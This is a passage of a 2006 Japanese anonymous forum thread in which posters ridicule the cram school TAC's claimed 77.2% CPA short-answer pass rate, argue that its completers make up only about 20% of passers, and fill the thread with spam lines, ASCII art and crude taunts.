 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、    ン
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))

104 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:35:13 ID:???
常時age

105 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:35:53 ID:???
TAC本科修了者で短答合格者は1,136人

全体で短答合格者は5,031人






TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)




            T  A  C  の  占  有  率  は  わ  ず  か  20%  (笑)

106 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:38:40 ID:???
>10月5日(木)19:00〜22:00の間、サーバー定期メンテナンスのため、
>サイトへのアクセスができない状態となります。
>ご迷惑をおかけしますが、ご理解ご協力の程宜しくお願いいたします。

メンテで消すなよ(笑)
今さら削除してももう遅いぞ(笑)
TAC愚かすぎ(笑笑笑)

107 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:39:11 ID:???
>>1



           ___
          /⌒  ー、\ 
        /( ●)  (●)\       
.       /::::::⌒(__人__)⌒::::::\.     
  cー、  |     |r┬-/ '      | ,一っ
 ,へ λ \    `ー‐'      / 入  へ、 
<<</ヽ                     /\>>>

108 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:40:59 ID:???










                 T  A  C  の  占  有  率  は  わ  ず  か  20%  (笑)









.

109 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:41:33 ID:???
StartPageより引用
【一般呼称】 TAC(タック)
【受講者数】 約12,000人(=2003年3月末現在、公認会計士講座)
        ~~~~~~~~~
【実   績】 30年連続全国合格者占有率No.1、2005年TAC本科生合格者占有率60.2%

110 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:43:00 ID:???
>>109
きっとこの3年間で 1/9 になってしまったんだよ。

111 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:44:06 ID:???
TAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタ
TAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタ
TAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタ
TAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタ
TAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタ
TAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタ
TAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタ
TAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタ
TAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタ
TAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタ
TAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタ
TAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタ
TAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタ
TAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタ
TAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタ
TAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタTAC\(^o^)/オワタ

112 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:48:23 ID:???
2005年のTAC短答式全答練では、なんと本試験受験者数の約6割の8,929人が申込をしています!
これらの人によって本試験に限りなく近いTACの全答練が実施されるのです。

おやおや・・TAC全答練なのに、TAC生は2割ほどしかいないのでしょうか?ww

113 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:49:14 ID:???
>>109
03か
最新の受講生数のやつはないんかな

電話で聞いてみるか

114 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:54:14 ID:???
会計士受験生は減っていないんだから、どんなに少なく見積もっても9,000人はいるだろうね。
次年度目標生が半分いたとしても4,500人。

115 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:55:08 ID:???
でも占有率はたったの20%ぽっち(笑)

116 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:57:03 ID:???
>>106
今から消しても手遅れだお
http://2ch-news.net/up/up21971.jpg
http://2ch-news.net/up/up21972.jpg

117 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 13:03:36 ID:???
このスレは目欄ageにすることにします










             T  A  C  の  占  有  率  は  わ  ず  か  20%  (笑)









.

118 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 13:03:45 ID:???
でも論文発表後は、例年通り合格者占有率bPになるんでしょ?w

119 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 13:12:13 ID:???
占有率に使う母集団と短答合格率に使う母集団を変えるタッ糞wwwwwwwwww

120 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 13:12:14 ID:???
これ今後パンフレットとかどうするの

121 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 13:15:53 ID:???
77%はないだろ常識的に考えて

122 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 13:16:56 ID:???
占有率は20%だけどね

123 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 13:17:30 ID:???
日商3級かよwww

124 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 13:23:15 ID:???
規模がでけえとか言ってたけど、
TAC生なんて合格者の5人に1人しかいないんだぜ。

125 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 13:23:45 ID:???
大原が短刀直後に60%くらいの数字出したからムキになってんだなw

126 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 13:24:23 ID:???
TAC生が馬鹿ということがわかったな

127 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 13:28:36 ID:???
タクのカリキュラム修了せずに合格したやつの数、数えてないから1000人は少なすぎる

128 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 13:32:43 ID:???
>>127
「タクのカリキュラム修了せずに合格したやつ」は
「TACで修学された合格者」“ではない”って
TACが主張しているんだよ。好き勝手言ってるわけじゃないよ。


TAC本科生コースカリキュラム修了者で短答合格者は1,136人
<ソース:http://www.cpa-tac.com/information/senyuritu.html

全体で短答合格者は5,031人
<ソース:http://www.fsa.go.jp/cpaaob/kouninkaikeishi-shiken/tantougoukaku_a.html

【問題】
TAC本科修了者の占有率は?
<ヒント:1,136÷5,031=?>

129 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 13:37:41 ID:???
模試と直前受けてないやつはTACに金三井だだけ

130 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 13:46:34 ID:???
短答落ちで直前答練3回受けてる奴が300人とかいるんだな…
むしろそっちをほめてあげたい。

131 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 13:52:08 ID:???
直前答練は短答式と明示してるのに全答練は何の記載も無い。
公開模擬試験(全2回)って明らかに論文式全答練だなw
2回目の論文式全答練を短答落ちはあんまり受けないし卑怯な広告だ。
論文式の冠を敢えて外してあいまいにするなんて詐欺まがい。
短答式全答練を受験してたTAC生って1,470人より遥かに多かったし。
大原本コース生ですら、短答模試及び答練9回を受験した人数が1,385人なのに、
最大手のTAC短答式全答練を1,470人しか受けてないのはおかしいわな。

132 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 13:57:36 ID:???
最終合格者の占拠率も同じ分母で出せよ、絶対に

133 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 14:03:45 ID:???
最終合格者占有率は、合格者のうち、TACの全答を受験したことがある人
でしょ?

134 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 14:08:12 ID:???
>>131
「直前期の短答式答案練習(全3回)及び公開模擬試験(全2回)」となっているので、
<直前期>という語句が公開模擬試験にかかってないとはいえないからちょっと微妙。
答練は受けないけど模試だけ受けましたって人もけっこういそうだし。

それより何より重要なのは>132で、合格率算定時と同一の母集団で
占有率を算定するとわずか20%になるが、はたしてTACが占有率を
どうやって公表するかってこと。
もし>>133のように答練1回だけ休んだ人などをTAC合格者に含めようものなら。。。http://www.jaro.or.jp/

135 :134:2006/10/04(水) 14:09:47 ID:???
二行目訂正
×<直前期>という語句が

○<短答式>という語句が

136 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 14:11:02 ID:???
>>133
全答練だけじゃなくて過去にTACに何かを申込んで会員登録された人でしょ。
TACと全く関わらずに合格する受験生ってなかなかいない。

137 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 14:13:34 ID:???
逆に考えたら、まったくTACのお世話にならずに合格できた人が
10%近くもいるのか。
これはこれですごいな。

138 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 14:21:53 ID:???
LECの司法試験講座が景品表示法違反で公正取引委員会に摘発されたのは、
まさに模試だけ受験した人をLEC合格者にしたからだから、
さすがに同じ事はやらないと思う。

ただ、「TAC修了者」を「直前答練と全答練すべて受講した人」と定義して
合格率を出しておきながら、つぎ占有率を出すときに、
「8割方受講したが何回か休んだ人」を含めようものなら、http://www.jaro.or.jp/

139 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 14:24:35 ID:???










             T  A  C  の  占  有  率  は  わ  ず  か  20%  (笑)









.

140 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 14:25:12 ID:???
今年の場合は合格者の名前が公表されてなくて、あくまでも
アンケートの回答があった人の集計にすぎないってとこがミソ。
都合の悪いアンケートをさっさとシュレッダーにかけてしまえば
証拠隠滅可能。

141 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 14:30:12 ID:???
TAC終わったな

LEC 大原 AXL 始 ま っ た な 

142 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 14:32:48 ID:???
今日久々にTACいったが、去年見た香具師が沢山
夏上いたぞ!
合格率77.2のわけないな。

143 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 14:33:07 ID:???
50%くらいにしとけばこんなに叩かれることはなかっただろうが、
77%はさすがにやりすぎw

144 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 14:36:03 ID:???
俺の友人で専念5年目で短答落ちた奴がいるんだ。あまり騒がないでくれ

145 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 14:36:50 ID:???
財表に続いてこんどは合格率かwwwwwwwwww
TAC必死だなw

146 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 14:43:35 ID:???
論文の合格率出す時のベースは当然1136人がスタートになるんだよな
それ以外の奴はカリキュラム修了者の条件を満たさないもんな
この中でさらに論文式直前答練全部+全答練受験者にしぼるんだよな
1000人は切りそうだな


最大手の分母が3桁かwwwwwwwwww

147 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 14:46:48 ID:???
受かってたのでアンケート出すやつなんて少ない
短答落ちで出すやつなんて300人しかいない

148 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 14:48:18 ID:???
TACは笑いの総合デパートwww

149 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 14:55:22 ID:???
>>116
俺も記念にオリジナルをデジカメで2枚ほど撮っちゃった テヘテヘ

150 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 14:57:50 ID:???
占有率を出すときに、
修了者以外をTAC合格者に含めても、
修了者の定義を変えても、
ジャロに通報するじゃろう

151 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 15:01:46 ID:???
八方塞がりのTAC、一発逆転の打開策は、











ねえぇよおぉぉwwwwwwwwwwwwwwwwwwwww

152 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 15:03:58 ID:???
ほんまTACはすごいでぇしかし

153 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 15:06:39 ID:???
今年から科目合格もあるからな
各校とも粉飾するにはデータが豊富で大助かりだろうな

154 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 15:07:57 ID:???
昨夜は高校生ネタで乗り切ったが・・・
今夜乞御期待

155 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 15:09:00 ID:???
今夜は税理士受験生が乱入する予定ですので

156 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 15:14:16 ID:???
                           このスレを読む前に言っておくッ!
                    おれは今TACのHPをほんのちょっぴりだが見た
                  い…いや…見たたというよりはまったく理解を超えていたのだが……
         ,. -‐'''''""¨¨¨ヽ
         (.___,,,... -ァァフ|          あ…ありのまま 今 見た事を話すぜ!
          |i i|    }! }} //|
         |l、{   j} /,,ィ//|       『短答式試験にも強いTAC。それが今年も証明されました!
        i|:!ヾ、_ノ/ u {:}//ヘ        短答合格率77.2%(全国平均の約2.5倍)』
        |リ u' }  ,ノ _,!V,ハ |
       /´fト、_{ル{,ィ'eラ , タ人        な… 何を言ってるのか わからねーと思うが
     /'   ヾ|宀| {´,)⌒`/ |<ヽトiゝ        おれも何を見たのかわからなかった…
    ,゙  / )ヽ iLレ  u' | | ヾlトハ〉
     |/_/  ハ !ニ⊇ '/:}  V:::::ヽ        頭がどうにかなりそうだった…
    // 二二二7'T'' /u' __ /:::::::/`ヽ
   /'´r -―一ァ‐゙T´ '"´ /::::/-‐  \    催眠術だとか超スピードだとか
   / //   广¨´  /'   /:::::/´ ̄`ヽ ⌒ヽ    そんなチャチなもんじゃあ 断じてねえ
  ノ ' /  ノ:::::`ー-、___/::::://       ヽ  }
_/`丶 /:::::::::::::::::::::::::: ̄`ー-{:::...       イ  もっと恐ろしいものの片鱗を味わったぜ…

157 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 15:32:45 ID:???
TACを信じれば合格できるんですね!!

158 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 15:36:27 ID:???
MMRに通報しますた

159 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 15:44:44 ID:???
こりゃTAC離れが加速しそうだ。
すくなくとも、上級生は他校にするぜ。

160 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 15:50:10 ID:???
もともと内容が良い予備校ではないからね
受講生の数だけが頼りだし

161 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 15:55:26 ID:???
TAC=最大母集団=修了者1470人wwwwwwwwwwwww

162 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 16:02:44 ID:???
      |::::      ::::/ | / |:/::::  :::|:::|:: |: |: \:::     :::|
.       |::::    ::/|::/\:|/ :|/::::  U :::|::|: |:|/\::    :::::|
.      |:::    :/:|/:\:|:\:/::::      |:/::|/::\::    :|
        |::    ::/::|::  :::\::::\    /::::/   :::\:::  :::| .
       |::   ::/ _____::::||  ||::::_____::::|:   ::|
      |:l⌒l::::| :  ̄ ̄ ̄O ̄ ̄/: :::: ̄ ̄O ̄ ̄ ̄:::::|:: l⌒l|
、-一''´ ̄'|:|∩|:: |:  \___/::| :: \___/  ::| |∩||´ ゙゙̄`''' .
      | :|∩|:: |:::        :::|..|::          :::|:: |∩|:|
     |  |l.0|:: |::     ι    ..::|..|:::::          ::|:::|0 l|::|  .
     |::: |U|:: |:::::::      し :::|..|:::::::     v   ::|: |U | ::|
  ;;;,,,   |::: ヽ人 |::::::   U     \|_|/ .       :::|:人ノ: ::|   ,,,,,,
    '''';;;;|::::..  l .ヽ:::.   と二i二i二i二i二i二つ J  ::/::l:  :: ::|;;;;;;''''
     |::: ::: : ::i\::::  "ー‐''i!   l   i!―''´    :/i:: :: : ::l
     i|:: : : :: :l  \:::..    i! TAC.  i!     :/  l:: : :: : ::|
     ´l:::  : ::|   \::.    i!  氏ね i!   ::/   l:l`l:: : :|
      l`i : : :i     \::::.. ヽ、   ノ  :/    l:| l:: :: :|
       i::|: :: :l      \:::  `ー''´  : ,,,____l:l |: : ::|
―-、   |:l l: : |          \:::   :/` ,,___、`゙ー-‐'''"
 ゙̄ヽ,j`l  リ |: ::i           \_,, /、/`___、 `
‐-、 ノJ    i!::i             iニ/、/ヾ ___ `''
、  ゙'i      レi'             `lニ/、/ヽ     ̄`
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

163 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 16:03:37 ID:???
さすが最大母集団
すばらしい合格率だ

164 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 16:06:28 ID:???
なるほど、TACを信じて学習を進めればよいのですね

165 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 16:21:12 ID:???
TACでよかったのって、監査論くらいだしね。


166 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 16:24:04 ID:???
             ,. - ─── - 、
             /    ,       `ヽ.
            /〃//,. ,ィl/|l ト、 !、 、  ヽ
          ー'´| | l |1 | !l. l| ! | l.|ヽ ! !、 ',   TACさん
             YレV!ヒエ「! |l.「_ト!Ll」| l l  l   どうしてこんな統計しちゃったの?
           ! lハイJ |  ´|_jヽ. リ,! ! l. l |
             |l |l.} ー ,   L _,ハl.lトl l. | l
             |l ilト、   n  ''  ,1l|ィ| |l l |
           _ 二,ニ^tュ--ェ_t1」l.|l !リ|_lノ
       r7´   f r┐| 〔/ミヽ>,-、 ̄´
       Y       ー个‐'t  ハ-、_'ゝ、
        ヽ ._・ rく ̄ヽト-'丿  ヽ l
        / (・__,)ゝi┬'´ハ`     '`|
          |ヽ, イ   ノ┴くヽヽ、    /
        `´ ゝ┬ヘ`ヽ   |  `ー‐1
           ゝノ-‐^ー'一''丶  ヽ ヽ
           ト、_       `ーァ'¨不ヽ
            | | 「 ̄「 ̄l ̄ト、,イトヒi′
             l l. l   l  !  !└' l |
             └ L 」_,|__l_l.__L.l′
             |   |  |   |
              l   l   !   !
                l   l.   l   l
            ト--┤   !--‐1
              f‐t央j.   ト央ァヘ
              |  甘l、  / 甘  |
             l  ,.-‐ヽ レ'⌒ヽ/
            `く.__ ノ ゝ--‐′

167 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 16:31:49 ID:???
このスレが盛り上がりだしてから、株価が
ttp://quote.yahoo.co.jp/q?s=4319.t&d=c&k=c4&z=m&t=1d

168 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 16:33:34 ID:Kjg/8mbg
分子・・・電話調査およびはがきによるアンケートで合格と答えた人数※
分母・・・電話調査およびはがきの有効回収数※

※但し、直前答練および公開模試を受験しなかった本科生除く

>>1って、こういうことなのか?

169 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 16:35:18 ID:???
>>168
そういうことだろう

170 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 16:42:00 ID:???
ちょっと善意に取ってやろうぜ。
TACのカリキュラムを普通にこなた人間は合格率77%ですよってことだろ?

これを他の予備校と比較しようとするから変な方向行くんだよ・・・
おそらく他の予備校でもちゃんとその予備校のカリキュラムをこなしてれば今年は8割近く合格してただろうな。

これから言える事は、
@今年の短答は簡単過ぎた。
ATACのカリキュラムをこなせない受験生多すぎ。
B合格占有率しかり合格率しかり都合のいいデータだけ公表してる。

でもTACでも他の予備校でもちゃんとカリキュラムやれば8割合格する試験だったってことだ。
この数字はTACの優位性を示すものじゃないがマジで有意義。

171 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 16:49:02 ID:???
とTAC生がもうしておりますが

172 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 16:49:24 ID:???
と工作員がもうしております。

173 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 16:50:19 ID:???
tac生必死だなw

174 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 16:53:03 ID:???
有意義wwwwww

175 :170:2006/10/04(水) 16:56:00 ID:???
一応俺は平均的なTAC生だが、そこまで擁護してるつもりもないぞ。
大原がこんな広告出してても同じこと思うと思うが・・・

8割合格だぜ?
大原でもTACでも予備校のカリキュラムをこなしてればほとんど短答は通るって、今までそんな情報なかっただろ?


176 :170:2006/10/04(水) 17:01:37 ID:???
あ、今気付いたんだがこのスレは今年の短答・論文受験者が集まるスレじゃなかったんだな
申し訳ない。
このスレで話すような内容じゃなかった。
申し訳ない。

177 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 17:02:56 ID:???
短答合格発表後の論文全答練を受けた中では8割が短答パスしてたということにすぎない

178 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 17:03:25 ID:???
なにこの気持ち悪い自己擁護君

179 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 17:03:46 ID:???
>>170
>TACのカリキュラムを普通にこなた人間は合格率77%ですよってことだろ?

その通り。全く異論はない。君わかってるねえ。さすが!!

そして

短答合格者5000人のうちTACが本科修了と認めたのは1000人

TACのカリキュラムを普通にこなした人間は短答合格者の20%ってことだろ?

まさか異論はないよな>>170

そしてそして


     T A C 修 了 者 の 短 答 合 格 占 有 率 20 %


ってことだろ?

まさかまさか異論はないよな>>170

180 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 17:04:31 ID:???










             T  A  C  の  占  有  率  は  わ  ず  か  20%  (笑)









.

181 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 17:06:57 ID:???
>>170
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。

182 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 17:07:01 ID:???
  /       __  \
    /ノ´  -‐''''" ̄         ヽ
.   / /_              ',
 , -l /´  -‐''' _二´-─一- 、 l
/  .{  _,/⌒ヾT「!i ソ   -_=:ッノ:'‐i′
 ノ Y i 〈r_  i ;ハ    ゝ ‘' 〈.テ   長  渕  剛  が  180 G E T!
  r l.  ヽ ニ  ''"        ヾ
 ノィl   /   :        r__ )
(、/ l  i    :.        .........「      / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 )  i_ノ    \.      ヾニテ′   <  ヨォォォゥゥゥゥソロォォゥゥゥ!!!!♪
/´「  .      \      `7’      \__________
  l  .::        ' :, ; , , ,i′
   ',        ノ〈  ゙゙゙゙゙゙

>>1 お前が立てるからスレになる!
>>181 もっと心で話をしてくれ!もっと本当の事を聞かせてくれ!
>>182 生きてるのか死んでるのか、そんな腐った瞳で人間を見るのはヤメろ!
>>183 お前がやれお前がやれ お前がこのスレの舵を取れ!お前が行くから道になる!
>>184 人間をなめるな!自分をなめるな! もっと深くもっと深く もっと深く愛してやれ!
>>185 がどうするかだ!>>185がどう動くかだ!!
>>186 ああ この潔さよ 明日からお前がCaptain of the ship!


183 :170:2006/10/04(水) 17:07:33 ID:???
>>179
T A C 修 了 者 の 短 答 合 格 占 有 率 20 %
そりゃ当たり前だろw
おれもそんな馬鹿じゃない。

ただ、TACは合格率を宣伝するのはTAC本科コース受講者を使うだろうね。


184 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 17:08:11 ID:???
数だけでなく効率の面を追求しなくちゃいけない時代
いつの時代の企業だよ

185 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 17:09:17 ID:???
タック製頭悪すぎワロタ

186 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 17:12:11 ID:???
>>183
君が賢い子でよかった。うれしいよ。

TAC生だよね?今後TACが

・合格者のほとんどがTAC生 とか
・最大手だから規模の強みがある とか
・合格占有率○%!! とか

言い出してもそのウソに気付けるってことだよね?

187 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 17:23:57 ID:y+8XzW8h
全ての答練に出れないような奴はTAC生じゃない、ってことかな?www

188 :170:2006/10/04(水) 17:25:45 ID:???
>>186
なんか俺がTAC擁護の代表みたいになってるのが嫌なんだが・・・

>合格者のほとんどがTAC生
合格者のTAC生の占める割合は別にTAC本科受講生を使ってもいいんじゃね?
去年は60%近くだっけ?これはほとんどとは言わないと思うが。

>最大手だから規模の強みがある
これは合ってるだろ。嘘じゃない。(たぶん)約半分はTACオンリー受験生なんだから。

>合格占有率○%!!
90何パーとかいう数字を使ってるやつだろ?こんなんで騙される奴はいないだろw


おれが最初に言いたかったのはどこの予備校でもちゃんと行ってればほとんど短答は通ったってこと。
TACだから優位性があるとかじゃなくてさ。
今まで「ちゃんとやってれば短答くらいは受かる」とか漠然と言われてたけど
実際そうなんだなと。
どんだけ答練すら受けてない奴がいたのかと。


189 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 17:26:40 ID:???
だって占有率20%しかないんだよ?

190 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 17:28:36 ID:???
>>170が今夜の主役だなwwwwwwww

191 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 17:30:29 ID:???


          ____
       / \  /\ キリッ
.     / (ー)  (ー)\
    /   ⌒(__人__)⌒ \    <TAC生の短答合格率は77.2%!!
    |      |r┬-|    |
     \     `ー'´   /
    ノ            \
  /´               ヽ
 |    l              \
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、.
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))

          ____
        /_ノ  ヽ、_\
 ミ ミ ミ  o゚((●)) ((●))゚o      ミ ミ ミ
/⌒)⌒)⌒. ::::::⌒(__人__)⌒:::\   /⌒)⌒)⌒)
| / / /     |r┬-|    | (⌒)/ / / //  <だっておwwwwwwwwwwwwwwwwwww
| :::::::::::(⌒)    | |  |   /  ゝ  :::::::::::/      TAC自慢の占有率がたった20%になっちゃったおwwwwwww
|     ノ     | |  |   \  /  )  /      この先どうやって受講生騙していくつもりだおwwwwwwwwww
ヽ    /     `ー'´      ヽ /    /     バ
 |    |   l||l 从人 l||l      l||l 从人 l||l  バ   ン
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、    ン
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))

192 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 17:31:52 ID:???
>>170の人気に嫉妬wwwwwww

193 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 18:35:44 ID:???
              -― ̄ ̄ ` ―--  _   
          , ´  ......... . .   ,   ~  ̄" ー _     ブッブー 
        _/...........::::::::::::::::: : : :/ ,r:::::::::::.:::::::::.:: :::.........` 、    ブーン
       , ´ : ::::::::::::::::::::::::::::::::::::/ /:::::::::::::: : ,ヘ ::::::::::::::::::::::: : ヽ      キキー
    ,/:::;;;;;;;| : ::::::::::::::::::::::::::::::/ /::::::::::::::::::: ● ::::::::::::::::: : : :,/
   と,-‐ ´ ̄: ::::::::::::::::::::::::::::::/ /:::::::::::r(:::::::::`'::::::::::::::::::::::く TAC生で短答落ちは
  (´__  : : :;;:::::::::::::::::::::::::::/ /:::::::::::`(::::::::: ,ヘ:::::::::::::::::::::: ヽ     バカだから氏ねっていってんの?
       ̄ ̄`ヾ_::::::::::::::::::::::し ::::::::::::::::::::::: :●::::::::::::::::::::::: : : :_>
          ,_  \:::::_| ̄ ̄ |_::::::::::::::: `' __:::::::::-‐ ´
        (__  ̄~" |       | )) ̄
                  ̄◎ ̄◎ ̄

194 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 18:43:32 ID:???
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。
ここは合格率を粉飾したせいで占有率がボロボロになったTACを笑うスレです。

195 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 18:43:46 ID:???
TAC生で修了者で無い奴は分母に入ったり入んなかったり都合のいい存在。
来年からもっとカリキュラムが厳しくなる悪寒

